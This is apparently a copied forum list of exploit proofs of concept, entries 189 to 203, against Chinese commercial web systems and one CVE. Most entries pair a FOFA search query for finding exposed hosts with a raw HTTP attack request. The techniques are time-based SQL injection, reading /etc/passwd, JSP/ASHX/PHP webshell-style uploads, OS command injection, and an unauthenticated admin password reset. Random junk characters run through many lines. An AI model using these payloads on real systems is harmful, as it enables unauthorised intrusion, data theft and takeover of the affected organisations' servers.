. Z5 f- e2 F+ J" wAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
1 T7 y3 x- j5 f4 `: {" Z/ dConnection: close


& p' p' n" ~5 E" ~" P; p189. 蓝网科技临床浏览系统 deleteStudy SQL注入
( u7 z, _  X8 o! l( MFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
  n5 M$ v0 @) w3 Y+ }1 s" A$ K
" W4 _+ k; t7 K$ j) Y( [) {
8 Q) [% L1 r: d1 D) j4 Q# S190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
& B" L1 W' S$ k7 SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
- s+ J) ~( c% M9 U, B  f7 t" IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
, L5 k9 _) s+ KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 h: u) a$ n% I! X! y
poi=file:///etc/passwd
! [1 z6 i2 ~. `$ z+ U5 z7 R  O  c

191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
. o. S: m2 K1 H. ~7 j' m1 `% C% x- }! n0 bFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
# P9 R, ]% y* E# D0 ]! }! IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
5 @9 Q+ H2 ?( |% i
) r8 y; {1 ~3 Y% {& t5 M' K7 wcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

8 v) M+ T# {2 H: q- `
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
" Z, V. A! q, v6 D# eFOFA：title="用户登录_富通天下外贸ERP"
( w) V- r* m+ ~5 \( S2 qPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
( m' ~- a; Z5 x; i) rHost: your-ip
3 V# a% {) H' ]: `: z9 QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) n- Y" D3 n" w9 U5 u4 T! }# H" p2 l

<% @ webhandler language="C#" class="AverageHandler" %>
" h1 J# x* V; R$ D7 Q+ yusing System;
using System.Web;
' n0 D; w( P/ n+ V- Ypublic class AverageHandler : IHttpHandler
{
public bool IsReusable
3 l# ?# c7 `. q5 A& e{ get { return true; } }
. m' Z1 ^1 [- Dpublic void ProcessRequest(HttpContext ctx)
2 O4 {2 r6 M8 ^' y8 @" S{
ctx.Response.Write("test");
}
}
; s5 S, ]6 l3 K0 L  B% r( P5 s6 E

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
; y7 q* O7 ]! ^0 j( C& ~GET /master/ajaxActions/getTokenAction.php HTTP/1.1
( t8 K/ D" D' L) }7 uHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

2 K) j! r/ G& h/ e  [
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
0 a/ h: L; D& C2 X) T4 x! F) }% W+ oHost:
- f  |  t' O$ s/ a/ LUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
  d# j: v5 C8 [. K# Z* S9 d3 ^Cookie: PHPSESSID=2333333333333;
9 ^3 [5 a  \" h& hContent-Type: application/x-www-form-urlencoded
Content-Length: 84
2 P# F1 [- E: s1 x9 a2 T1 a, l& {
" [! I, l2 n" b- S! |0 S+ |! bparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
1 K, t7 u+ e7 j9 Z/ y2 S: Q
# v& @. Q% d2 I! Z
GET /master/img/config HTTP/1.1
Host:
, U' i0 w) Z9 |User-Agent: Mozilla/5.0
9 m* I, m  t! h2 A* a
+ `' O& m5 B& {2 u
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
$ W7 V: ^2 d% N+ m. f8 J
+ I& h# [1 g0 r8 ZPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
, C( J  A3 s2 S1 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
0 S" [- d: u( u" [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% u) o6 H2 _! e8 v! s/ n% hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
% I- N, I3 b& d; a; m! `/ FConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

# ?/ }- f4 V& \9 _/ t3 n4 i7 @  XContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
# a; Y7 a; S' M& \  p! K' H  wContent-Type: text/plain
<% out.println("hello");%>
8 _$ R$ Q; Y/ _0 E5 Z4 t------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
* r  ^4 P/ I9 L# Y0 }  h4 V9 i4 p {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
2 h1 Z8 N& W2 nCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
9 `+ O0 m+ o5 L* \6 y1 r+ k3 OAccept: */*
Accept-Encoding: gzip, deflate
: @$ u3 G- P  Z1 ^: O  t. XAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
- ]9 q0 o( ?  u2 A1 G/ ?Content-Length: 68

% [% k5 N8 n1 E/ Q9 w8 r{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
4 ]# m( T6 z, ?# v6 e

196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
, O: W( i/ t7 {3 [; FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
* ?7 t6 A$ w' @, _% \: }2 DContent-Type: application/json;charset=UTF-8
  `$ i+ T5 q0 o* _$ I7 C, X3 OX-Requested-With: XMLHttpRequest
& h; ]7 v7 K' g+ j/ K, zHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
. F0 c7 {7 L/ k% k3 p9 c7 N9 mContent-Length: 45
Connection: close
; W* d. d, i9 t9 i
{"xgh":"test","newPass":"test666","email":""}
" d) H% d, V1 C$ w# L6 g
% M  C- E9 G) n: O! c( H
3 w8 g- H9 Y1 W9 z' q
1 d* F9 f1 G; e- G197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
! F8 n8 c2 W8 J8 e3 QGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
: w+ m) W4 B1 X) ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
: x# L3 [0 E  e2 _/ |8 I4 Y+ kConnection: close
" r. u7 i) b# d: S% _- I
/ ?$ P' U6 O/ h7 |" V  |# A
$ ]" K+ q5 m- D# o0 H
3 f: s% ]6 R/ I$ v5 p198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
. O$ a, }+ D" yGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
- @+ t. P6 ~% _" @  v1 ZCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
1 `0 Y  ~3 b& |# x5 J" b8 WConnection: close
0 b. E1 E( S+ Q' t0 N
* t3 S- o4 R3 h! k, M$ H
199. cockpit系统assetsmanager_upload接口 文件上传
7 ?. M; f4 T2 \4 z% p. {! _
) s+ \+ V% z# J- O6 f! M  s: n1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
1 b, \" o" b4 ?' X3 B% X
& S2 \6 ?5 o  [8 F: l  L5 V响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
9 F  i! E7 U0 `' W4 i
2.使用刚才上一步获取到的jwt获取cookie：
% T) q- e% U  L. j: x9 Y" z3 W
2 A7 l- h/ h, o) y8 m" w' h% s# A/ }POST /auth/check HTTP/1.1
Content-Type: application/json

! i: V4 \- g4 i{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

1 q; A9 z6 h* G: d/ v, `- E) E响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
. @. S5 L# `* ~- hFofa：title="Authenticate Please!"
' [. _3 W+ E( z5 B& k8 f3 `/ sPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
6 p. d3 f' b6 Z
+ j# t0 F  S' U" t9 X-----------------------------36D28FBc36bd6feE7Fb3
; E! c* V) j6 l/ T8 `# EContent-Disposition: form-data; name="files[]"; filename="tttt.php"
- Q+ B; K* l$ e( ?! VContent-Type: text/php

$ U2 y0 ?5 t5 e2 a<?php echo "tttt";unlink(__FILE__);?>
. X% N2 M) F# n-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

7 y' l; c8 c" _! I-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php
8 F# X& ]0 O$ i
200. SeaCMS海洋影视管理系统dmku SQL注入
; H7 Z4 v" g; o# @/ mFOFA：app="海洋CMS"
6 V" y: N$ k# o9 \+ I" K0 X$ J5 mGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
1 R6 L1 _/ A8 b6 VUpgrade-Insecure-Requests: 1
& a8 z- Z! o+ {- k/ A) w& ECache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  f- n1 U5 q* K% \: e9 AAccept-Encoding: gzip, deflate
, Z6 c8 m/ n+ V( u4 R: RAccept-Language: zh-CN,zh;q=0.9


201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
+ O& U' I  k$ R# r0 aPOST /newsedit/newsplan/task/binary.do HTTP/1.1
, V2 p- ~" w6 ]4 g1 c7 O/ V% CContent-Type: application/x-www-form-urlencoded
% F( y  B# R3 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
* H  k4 i" u& c" e/ Z9 a7 ?Accept-Language: zh-CN,zh;q=0.9
Connection: close
: V/ Z6 k& n3 F/ ^0 D. b0 j- J
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

# L8 i1 L  f, p" t+ @' e
202. 微擎系统 AccountEdit任意文件上传
- e, L2 x& a- t3 @6 _* N0 @FOFA：body="/Widgets/WidgetCollection/"
8 f. Q1 I9 i$ @! l  W: o获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
9 v, \- E3 O$ c- Q9 y" M$ ^Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
# D2 u7 _! b. x) Q* HContent-Length: 0
) q7 {# U2 M4 T

7 @( g& g% U6 u! d# r) i替换__VIEWSTATE和__EVENTVALIDATION值
6 G4 q8 ^) a4 y8 N% M2 l* [POST /User/AccountEdit.aspx HTTP/1.1
7 Q9 z& t1 O* f# y0 O5 W7 n0 wAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
+ z* u: B+ {2 Z' pContent-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
! t/ y, b6 u% O/ `  N4 J+ [-----------------------------786435874t38587593865736587346567358735687
6 w- t0 L: j$ ~+ sContent-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
, u: @% K$ u1 s/ _! ]2 i) VContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
2 K3 w5 A1 D# W6 |9 k! z6 A0 o  dContent-Type: text/plain
. b) Z0 G" z( H2 I8 \; T" n
' p7 k6 Z4 f' Z0 jHello World!
-----------------------------786435874t38587593865736587346567358735687
) L! C6 O) W+ K7 I5 [Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

6 s! q+ _" k* U1 {上传图片
: x" H, D6 I/ P9 n; k% b-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
; a  J3 n% W, U4 C+ }9 V+ D

-----------------------------786435874t38587593865736587346567358735687
9 m5 L* M9 z9 W, Z2 ?1 [# rContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
% c% M, h5 K4 ^7 o) G
1 H; q; o. s$ p; J+ }' u* d
-----------------------------786435874t38587593865736587346567358735687--


) a, y  S; w1 m5 d) w; i/_data/Uploads/1123.txt
+ p) A% Y, A3 r4 V8 x1 h1 ^; O" i
) a, u' n& d5 `" `0 r* R" y203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

, |; b5 Q4 M' y6 F( d' Z------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
9 c" k" {+ l0 l  @8 P- cContent-Type:image/jpeg

  Q3 k: r8 B) K& B% {6 ^% w( `' t<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

, l  v% K% @7 N, z




$ G2 g; W( s5 O* G2 h